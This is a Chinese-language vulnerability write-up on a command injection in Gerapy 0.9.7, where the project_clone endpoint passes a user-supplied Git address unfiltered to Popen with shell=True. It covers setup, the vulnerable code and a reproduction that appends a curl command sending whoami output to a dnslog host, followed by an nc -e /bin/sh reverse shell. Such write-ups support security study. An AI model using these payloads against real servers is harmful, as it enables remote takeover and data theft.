简介
Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。
漏洞描述
该漏洞源于程序没有正确清理通过project_clone端点传递给Popen的输入。攻击者可利用该漏洞执行任意命令。
影响版本
环境搭建
执行以下命令进行安装gerapy
1
2
|
pip install gerapy==0.9.7
pip install scrapyd
|
可以通过gerapy
检测安装是否成功
先运行scrapyd
然后通过以下命令设置gerapy的相关参数
1
2
3
4
5
|
gerapy init ##初始化
cd gerapy ##进入工作目录
gerapy migrate ##自动创建数据库
gerapy createsuperuser ##设置管理员账号密码
gerapy runserver 0.0.0.0:8000 ##开启服务
|
设置完成后浏览器访问
漏洞分析
该功能具体实现代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
@api_view(['POST'])
@permission_classes([IsAuthenticated])
def project_clone(request):
"""
clone project from github
:param request: request object
:return: json
"""
if request.method == 'POST':
data = json.loads(request.body)
address = data.get('address')
if not address.startswith('http'):
return JsonResponse({'status': False})
address = address + '.git' if not address.endswith('.git') else address
cmd = 'git clone {address} {target}'.format(address=address, target=join(PROJECTS_FOLDER, Path(address).stem))
logger.debug('clone cmd %s', mcd)
p = Popen(cmd, shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
stdout, stderr = bytes2str(p.stdout.read()), bytes2str(p.stderr.read())
logger.debug('clone run result %s', stdout)
if stderr: logger.error(stderr)
return JsonResponse({'status': True}) if not stderr else JsonResponse({'status': False})
|
根据代码可以看出传入的参数address
在到popen
中去执行shell命令为止,中间都没有进行任何的过滤,导致命令注入。
漏洞复现
登入后台后,如图所示依次点击,项目管理>创建>克隆
然后随意填写通过burp进行抓包
然后在后面拼接上以下命令
1
|
;curl `whoami`.thh0lg.dnslog.cn
|
查看结果,命令结果成功被外带出来
接下来进行尝试反弹shell
这里使用的是nc -e /bin/sh IP 5555
命令,因为在搭建环境中没有/bin/bash,根据环境不同,使用不同的反弹命令